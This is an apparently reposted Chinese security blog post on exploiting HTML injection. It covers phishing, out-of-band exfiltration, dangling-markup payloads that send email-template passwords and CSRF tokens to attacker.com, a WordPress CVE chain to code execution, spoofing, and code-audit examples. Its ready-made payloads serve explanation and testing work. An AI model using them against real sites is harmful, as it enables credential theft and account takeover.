vlambda博客
学习文章列表

HTML注入的花式利用姿势汇总

   HTML注入和XSS的原理类似,在某些无法执行javascript脚本的场景下使用一些简单的HTML标签同样可造成危害,下面总结几种场景和攻击思路。

一、从HTMLi到钓鱼攻击

1、  常规钓鱼

<img src=”https://attacker.com/hacker.jsp”><iframe src=”https://attacker.com/hacker.jsp”>


2401 图片基础认证钓鱼

  这个思路有点过时,由于img标签可以跨域,故可自建一个https服务,用来返回401认证响应头,通过弹钓鱼对话框来获取用户口令。

HTML注入的花式利用姿势汇总

二、从HTMLi到信息泄露

  这类思路类似SSRF的攻击手段,也可称为OOB带外通道技术,同样需要搭配自建服务器完成攻击,思路一般有二:

1)http方式:

http://domain.com/?secret=xxx   带出信息位于get参数中

http://domain.com/xxx    带出信息位于路径中

也可以放在cookie中或者post参数里

2)dns方式

curl  xxxx.domain.com     带出信息位于域名当中 

案例1

HTML注入的花式利用姿势汇总

User- Agent

HTML注入的花式利用姿势汇总

  当然,不同场景外带获取的数据也不同,传输参数、referercookie等。

 

案例2

  一些网站通常将用户注册信息/密码重置链接通过邮件的形式发送给用户,由于触发点是邮件系统客户端,无法执行XSS,所以转向HTML注入。

  这里HTML邮件模板包括中英文两部分内容,存在三处可控点,分别是accountpasswordlogin link,输出点有六处,形如:

<p x="xxx">您的账号是 {1} 密码是 {2}</p> <p x="xxx">登录地址:</p> <a href="{3}">{3}</a> <p x="xxx">your account is {1} password is {2}</p> <p x="xxx">login link is:</p> <a href="{3}">{3}</a>

这里的思路是创建一个超链接,把邮件里的敏感信息(用户名、密码)携带进来发送到服务器,payload构造主要有三步:

1)  闭合已有a标签;

2)  新建包裹英文内容的a标签,href 属性使用了单引号 ' 包裹 URL

3)  注释标签使页面外观正常;

  需要用到html特性进行巧妙的构造,组合调整之后最终的payload为:

</a><a x='>激活账号</a><!--'href='http://attacker.com/?

  页面中的效果为:

<a x='>激活账号</a><!--' href='http:// attacker.com /?</a>

<p x="xxx">your account is{1} password is {2} </p>

<p x="xxx">login address</p>

<a href="</a><a x='>激活账号</a>

达到的页面效果如下:

HTML注入的花式利用姿势汇总

从而使得页面只剩一个超链接(红色部分),点击激活账号这个链接,就会把账号和密码英文部分的html(蓝色部分)携带到服务器的参数部分:

HTML注入的花式利用姿势汇总

  借用这种“包裹”思路,可以引申利用于其他场景:
  如留言板处若存在HTMLi,可留两条数据,第一条是'>,隔一段时间再留第二条<img src='http://attacker.com/?,则可获取到在这两条留言之间的所有留言。

  再如,csrf token通常在hidden域中:

{1} <input type="hidden" name="CSRF_TOKEN"value="bbbc91aa69902418cad12b17e4df1d0d">{2}

 若两处可控,则可使用同样的方法获取到全局token

  详细内容可参考阅读原文链接。

 

三、从HTMLiRCE

  WordPressCVE-2019-9787:

  类似XSS盲打思路,在WordPress评论处写包含攻击者网站的留下,管理员查看即定向到恶意网站,结合CSRF借用管理员权限编辑主题和插件文件,从而留下php后门达到任意代码。

  结合CSRF将攻击效果最大化也是HTMLi的一种利用方式。

 

四、其他

1、影响可用性DOS

  如可插入css元素将整个页面涂黑,或写一个标签覆盖掉在该DOM对象在页面之后的其他含有ID属性的HTML标签,导致其他正常功能无法使用。

 

2、 文本注入欺骗

  用于某些页面的报错信息可定制,思路类似于日志伪造,如

https://victim.com/wp-login.php?error=Your%20account%20has%20hacked%20please%[email protected]

从而在页面上造成欺骗的效果。


五、白盒层漏洞挖掘

案例1

   s7和s8为用户可控的标题和作者名,系统未经处理直接将其拼接到html代码中,是典型的前端可审计发现的html注入问题:

public class aot...if(s7 != null){ s4= (newStringBuilder()).append(s5).append("<title>").append(s7).append("</title>").toString(); s1= (new StringBuilder()).append(s6).append("<pstyle=\"font-size:").append(s1).append(";line-height:120%;font-weight:bold;margin:").append(s3).append("0px 12px 0px\">").append(s7).append("</p>").toString();...if(s8 != null) s1 = (newStringBuilder()).append("<spanclass=\"nowrap\"><b>").append(s8).append("</b>,</span>").toString();

 

案例2

  白盒层发现HTMLi/XSS,除了审查html文件还可审查js代码,如:

function(){var logininfo = JSON.parse(‘{“os:Windows”,loginType:”3”,backUrl:”{user_input}”,isAdmin:”flase”}’)…}

 其中backurl用户可控,则可输入payload闭合前后端代码。

aaa/”}’);alert(1);JSON.parse(‘{“a”:”a